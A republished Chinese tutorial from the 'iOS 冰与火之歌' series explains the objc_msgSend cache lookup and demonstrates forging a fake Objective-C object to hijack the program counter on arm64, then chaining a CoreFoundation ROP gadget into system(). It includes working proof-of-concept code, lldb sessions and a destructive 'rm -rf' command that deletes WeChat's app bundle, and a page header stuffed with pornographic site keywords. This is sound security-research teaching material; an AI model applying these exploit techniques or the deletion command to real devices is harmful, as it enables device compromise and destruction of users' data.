日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP

發布時間:2024/3/12 编程问答 60 豆豆
生活随笔 收集整理的這篇文章主要介紹了 iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

蒸米 · 2016/01/26 10:29

0x00 序


冰指的是用戶態,火指的是內核態。如何突破像冰箱一樣的用戶態沙盒最終到達并控制如火焰一般燃燒的內核就是《iOS冰與火之歌》這一系列文章將要講述的內容。目錄如下:

  • Objective-C Pwn and iOS arm64 ROP
  • █████████████
  • █████████████
  • █████████████
  • █████████████
  • 另外文中涉及代碼可在我的github下載:
    github.com/zhengmin198…

    0x01 什么是Objective-C


    Objective-C是擴充C的面向對象編程語言。語法和C非常像,但實現的機制卻和java非常像。我們先來看一個簡單的Hello,World程序了解一下。

    #!objc Talker.h: #import <Foundation/Foundation.h> @interface Talker : NSObject - (void) say: (NSString*) phrase; @endTalker.m: #import "Talker.h" @implementation Talker - (void) say: (NSString*) phrase {NSLog(@"[email?protected]", phrase); } @endhello.m: int main(void) { Talker *talker = [[Talker alloc] init];[talker say: @"Hello, Ice and Fire!"];[talker say: @"Hello, Ice and Fire!"];[talker release]; } 復制代碼

    因為測試機是ipad mini 4,這里我們只編譯一個arm64版本的hello。我們先make一下,然后我們用scp把hello傳到我們的ipad上面,然后嘗試運行一下:

    如果我們能夠看到”Hello, Ice and Fire!”,那么我們的第一個Objective-C程序就完成了。

    0x02 Objc_msgSend


    我們接下來看一下用ida對hello進行反匯編后的結果:

    我們發現程序中充滿了objc_msgSend()這個函數。這個函數可以說是Objective-C的靈魂函數。在Objective-C中,message與方法的真正實現是在執行階段綁定的,而非編譯階段。編譯器會將消息發送轉換成對objc_msgSend方法的調用。

    objc_msgSend方法含兩個必要參數:receiver、方法名(即:selector)。比如如:

    [receiver message];將被轉換為:objc_msgSend(receiver, selector);

    另外每個對象都有一個指向所屬類的指針isa。通過該指針,對象可以找到它所屬的類,也就找到了其全部父類,如下圖所示:

    當向一個對象發送消息時,objc_msgSend方法根據對象的isa指針找到對象的類,然后在類的調度表(dispatch table)中查找selector。如果無法找到selector,objc_msgSend通過指向父類的指針找到父類,并在父類的調度表(dispatch table)中查找selector,以此類推直到NSObject類。一旦查找到selector,objc_msgSend方法根據調度表的內存地址調用該實現。通過這種方式,message與方法的真正實現在執行階段才綁定。

    為了保證消息發送與執行的效率,系統會將全部selector和使用過的方法的內存地址緩存起來。每個類都有一個獨立的緩存,緩存包含有當前類自己的selector以及繼承自父類的selector。查找調度表(dispatch table)前,消息發送系統首先檢查receiver對象的緩存。緩存命中的情況下,消息發送(messaging)比直接調用方法(function call)只慢一點點。

    其實關于objc_msgSend這個函數,Apple已經提供了源碼
    (比如arm64版本: www.opensource.apple.com/source/objc…)

    為了有更高的效率,objc_msgSend這個函數是用匯編實現的:

    首先函數會檢測傳遞進來的第一個對象是否為空,然后計算MASK。隨后就會進入緩存函數去尋找是否有selector對應的緩存:

    如果這個selector曾經被調用過,那么在緩存中就會保存這個selector對應的函數地址,如果這個函數再一次被調用,objc_msgSend()會直接跳轉到緩存的函數地址。

    但正因為這個機制,如果我們可以偽造一個receiver對象的話,我們就可以構造一個緩存的selector的函數地址,隨后objc_msgSend()就會跳轉到我們偽造的緩存函數地址上,從而讓我們可以控制PC指針。

    0x03 動態調試Objc_msgSend


    在我們講如何偽造objc對象控制pc前,我們先分析一下運行時的Objc_msgSend()函數。這里我們用lldb進行調試。我們先在ipad上用debugserver啟動hello這個程序:

    #!bash Minde-iPad:/tmp root# debugserver *:1234 ./hello debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1546). 復制代碼

    然后在自己的pc上用lldb進行遠程連接:

    #!bash lldb (lldb) process connect connect://localhost:5555 2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn't get the client port Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOPframe #0: 0x0000000120041000 dyld`_dyld_start dyld`_dyld_start: -> 0x120041000 <+0>: mov x28, sp0x120041004 <+4>: and sp, x28, #0xfffffffffffffff00x120041008 <+8>: movz x0, #00x12004100c <+12>: movz x1, #0 復制代碼

    接著我們可以在main函數那里設置一個斷點:

    #!bash (lldb) break set --name main Breakpoint 1: no locations (pending). WARNING: Unable to resolve breakpoint to any actual locations. (lldb) c Process 1546 resuming 1 location added to breakpoint 1 7 locations added to breakpoint 1 Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame #0: 0x0000000100063e48 hello`main hello`main: -> 0x100063e48 <+0>: stp x22, x21, [sp, #-48]!0x100063e4c <+4>: stp x20, x19, [sp, #16]0x100063e50 <+8>: stp x29, x30, [sp, #32]0x100063e54 <+12>: add x29, sp, #32 復制代碼

    我們用disas反編譯一下main函數:

    接下來我們在0x100063e94和0x100063ea4處下兩個斷點:

    #!bash (lldb) b *0x100063e94 Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94 (lldb) b *0x100063ea4 Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4 復制代碼

    隨后我們繼續運行程序,然后用po $x0和x/s $x1可以看到receiver和selector的內容:

    #!bash (lldb) c Process 1546 resuming Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1frame #0: 0x0000000100063e94 hello`main + 76 hello`main: -> 0x100063e94 <+76>: bl 0x100063f18 ; symbol stub for: objc_msgSend0x100063e98 <+80>: mov x0, x190x100063e9c <+84>: mov x1, x200x100063ea0 <+88>: mov x2, x21 (lldb) po $x0 <Talker: 0x154604510>(lldb) x/s $x1 0x100063f77: "say:" 復制代碼

    這里可以看到receiver和selector分別為Talker和say。因此我們可以通過po $x2來知道say這個方法的參數的內容,也就是“ Hello, Ice and Fire!”:

    #!bash (lldb) po $x2 Hello, Ice and Fire! 復制代碼

    隨后我們用si命令進入objc_msgSend()這個函數:

    #!bash * thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step intoframe #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend libobjc.A.dylib`objc_msgSend: -> 0x199c1dbc0 <+0>: cmp x0, #00x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8 復制代碼

    我們接著使用disas來看一下objc_msgSend的匯編代碼:

    #!bash (lldb) disas libobjc.A.dylib`objc_msgSend:0x199c1dbc0 <+0>: cmp x0, #0 -> 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff80x199c1dbd0 <+16>: ldp x10, x11, [x9, #16]0x199c1dbd4 <+20>: and w12, w1, w110x199c1dbd8 <+24>: add x12, x10, x12, lsl #40x199c1dbdc <+28>: ldp x16, x17, [x12]0x199c1dbe0 <+32>: cmp x16, x10x199c1dbe4 <+36>: b.ne 0x199c1dbec ; <+44> 0x199c1dbe8 <+40>: br x17…… 復制代碼

    可以看到objc_msgSend最開始做的事情就是從class的緩存中獲取selector和對應的地址(ldp x16, x17, [x12]),然后用緩存的selector和objc_msgSend()的selector進行比較(cmp x16, x1),如果匹配的話就跳轉到緩存的selector的地址上(br x17)。但由于我們是第一次執行[talker say],緩存中并沒有對應的函數地址,因此objc_msgSend()還要繼續執行_objc_msgSend_uncached_impcache去類的方法列表里查找say這個函數的地址。

    那么我們就繼續執行程序,來看一下第二次調用say函數的話會怎么樣。

    #!bash (lldb) disas libobjc.A.dylib`objc_msgSend:0x199c1dbc0 <+0>: cmp x0, #00x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff80x199c1dbd0 <+16>: ldp x10, x11, [x9, #16] -> 0x199c1dbd4 <+20>: and w12, w1, w11 復制代碼

    當我們繼續執行程序進入objc_msgSend后,在執行完"ldp x10, x11, [x9, #16]"這條指令后,x10會指向保存了緩存數據的地址。我們用x/10gx $x10來查看一下這個地址的數據,可以看到init()和say()這兩個函數都已經被緩存了:

    #!bash (lldb) x/10gx $x100x146502e10: 0x0000000000000000 0x0000000000000000 0x146502e20: 0x0000000000000000 0x0000000000000000 0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c 0x146502e40: 0x0000000100053f37 0x0000000100053ea4 0x146502e50: 0x0000000000000004 0x000000019ccad6f8 (lldb) x/s 0x000000018b0f613e 0x18b0f613e: "init" (lldb) x/s 0x0000000100053f37 0x100053f37: "say:" 復制代碼

    前一個數據是selector的地址,后一個數據就是selector對應的函數地址,比如say()這個函數:

    #!bash (lldb) x/10i 0x0000000100053ea40x100053ea4: 0xa9bf7bfd stp x29, x30, [sp, #-16]!0x100053ea8: 0x910003fd mov x29, sp0x100053eac: 0xd10043ff sub sp, sp, #160x100053eb0: 0xf90003e2 str x2, [sp]0x100053eb4: 0x10000fa0 adr x0, #500 ; @"[email?protected]"0x100053eb8: 0xd503201f nop 0x100053ebc: 0x94000004 bl 0x100053ecc ; symbol stub for: NSLog0x100053ec0: 0x910003bf mov sp, x290x100053ec4: 0xa8c17bfd ldp x29, x30, [sp], #160x100053ec8: 0xd65f03c0 ret 復制代碼

    0x04 偽造ObjC對象控制PC


    正如我之前提到的,如果我們可以偽造一個ObjC對象,然后構造一個假的cache的話,我們就有機會控制PC指針了。既然如此我們就來試一下吧。首先我們需要找到selector在內存中的地址,這個問題可以使用NSSelectorFromString()這個系統自帶的API來解決,比如我們想知道”release”這個selector的地址,就可以使用NSSelectorFromString(@"release")來獲取。

    隨后我們要構建一個假的receiver,假的receiver里有一個指向假的objc_class的指針,假的objc_class里又保存了假的cache_buckets的指針和mask。假的cache_buckets的指針最終指向我們將要偽造的selector和selector函數的地址:

    #!objc struct fake_receiver_t {uint64_t fake_objc_class_ptr; }fake_receiver;struct fake_objc_class_t {char pad[0x10];void* cache_buckets_ptr;uint32_t cache_bucket_mask; } fake_objc_class;struct fake_cache_bucket_t {void* cached_sel;void* cached_function; } fake_cache_bucket; 復制代碼

    接下來我們在main函數中嘗試將talker這個receiver改成我們偽造的receiver,然后利用偽造的”release” selector來控制PC指向0x41414141414141這個地址:

    #!objc int main(void) {Talker *talker = [[Talker alloc] init];[talker say: @"Hello, Ice and Fire!"];[talker say: @"Hello, Ice and Fire!"];[talker release];fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));fake_cache_bucket.cached_function = (void*)0x41414141414141;NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;fake_objc_class.cache_bucket_mask=0;fake_receiver.fake_objc_class_ptr=&fake_objc_class;talker= &fake_receiver;[talker release]; } 復制代碼

    OK,接下來我們把新編譯的hello傳到我們的ipad上,然后用debugserver進行調試:

    #!bash Minde-iPad:/tmp root# debugserver *:1234 ./hello debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1891). 復制代碼

    然后我們用lldb進行連接,然后直接運行:

    #!bash MacBookPro:objpwn zhengmin$ lldb (lldb) process connect connect://localhost:5555 2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port Process 1891 stopped * thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOPframe #0: 0x0000000120029000 dyld`_dyld_start dyld`_dyld_start: -> 0x120029000 <+0>: mov x28, sp0x120029004 <+4>: and sp, x28, #0xfffffffffffffff00x120029008 <+8>: movz x0, #00x12002900c <+12>: movz x1, #0 (lldb) c Process 1891 resuming 2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire! 2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire! 2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191 2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141 Process 1891 stopped * thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141)frame #0: 0x0041414141414141 error: memory read failed for 0x41414141414000 復制代碼

    可以看到我們成功的控制了PC,讓PC指向了0x41414141414141。

    0x05 iOS上的arm64 ROP


    雖然我們控制了PC,但在iOS上我們并不能采用nmap()或者mprotect()將內存改為可讀可寫可執行,如果我們想要讓程序執行一些我們想要的指令的話必須要使用ROP。如果對于ROP不太了解的話,我推薦閱讀一下我寫的《一步一步學ROP》系列文章(drops.wooyun.org/papers/1139…)

    在各個系統中ROP的基本思路是一樣的,這里我就簡單介紹一下iOS上ROP的思路。

    首先要知道的是,在iOS上默認是開啟ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在內存中的地址也是隨機的。所以我們在iOS上使用ROP技術必須配合信息泄露的漏洞才行。雖然在iOS上寫ROP非常困難,但有個好消息是雖然program image是隨機的,但是每個進程都會加載的dyld_shared_cache這個共享緩存的地址在開機后是固定的,并且每個進程的dyld_shared_cache都是相同的。這個dyld_shared_cache有好幾百M大,基本上可以滿足我們對gadgets的需求。因此我們只要在自己的進程獲取dyld_shared_cache的基址就能夠計算出目標進程gadgets的位置。

    dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/這個目錄下。我們下載下來以后就可以用ROPgadget這個工具來搜索gadget了。我們先實現一個簡單的ROP,用system()函數執行”touch /tmp/IceAndFire”。因為我們x0是我們控制的fake_receiver的地址,因此我們可以搜索利用x0來控制其他寄存器的gadgets。比如下面這條:

    #!bash ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1 復制代碼

    隨后我們可以構造一個假的結構體,然后給對應的寄存器賦值:

    #!objc struct fake_receiver_t {uint64_t fake_objc_class_ptr;uint8_t pad1[0x70-0x8];uint64_t x0;uint8_t pad2[0x98-0x70-0x8];uint64_t x1;char cmd[1024]; }fake_receiver;fake_receiver.x0=(uint64_t)&fake_receiver.cmd; fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system"); NSLog(@"system_address = %p", (void*)fake_receiver.x1); strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire"); 復制代碼

    最后我們將cached_function的值指向我們gagdet的地址就能控制程序執行system()指令了:

    #!objc uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation"); NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);//0x00000000000dcf7c ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1 fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c; NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function); 復制代碼

    編譯完后,我們將hello這個程序傳輸到iOS上測試一下:

    發現/tmp目錄下已經成功的創建了IceAndFire這個文件了。

    有人覺得只是在tmp目錄下touch一個文件并不過癮,那么我們就嘗試一下刪除其他應用吧。應用的運行文件都保存在”/var/mobile/Containers/Bundle/Application/”目錄下,比如微信的運行程序就在”/var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat”下(注意ED6F728B-CC15-466B-942B-FBC4C534FF95這個值是在app安裝時隨機分配的)。于是我們將cmd指令換成:

    #!objc strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/"); 復制代碼

    然后再執行一下hello這個程序。程序運行后我們會發現微信的app圖標還在,但當我們嘗試打開微信的時候app就會秒退。這是因為雖然app被刪了但springboard依然會有圖標的緩存。這時候我們只要重啟一下springboard或者手機就可以清空對應的圖標的緩存了。這也就是為啥demo中的視頻需要重啟一下手機的原因:

    0x06 總結


    這篇文章簡單介紹了iOS上Objective-C 的利用以及iOS 上arm64 ROP,這些都是越獄需要掌握的最基本的知識。要注意的事,能做到執行system指令是因為我們是在越獄環境下以root身份運行了我們的程序,在非越獄模式下app是沒有權限執行這些system指令的,想要做到這一點必須利用沙箱逃逸的漏洞才行,我們會在隨后的文章中介紹這些過沙箱的技術,敬請期待。

    另外,另外文中涉及代碼可在我的github下載:

    github.com/zhengmin198…

    0x07 參考資料


  • Objective-C消息機制的原理 dangpu.sinaapp.com/?p=119
  • Abusing the Objective C runtime phrack.org/issues/66/4…
  • 總結

    以上是生活随笔為你收集整理的iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。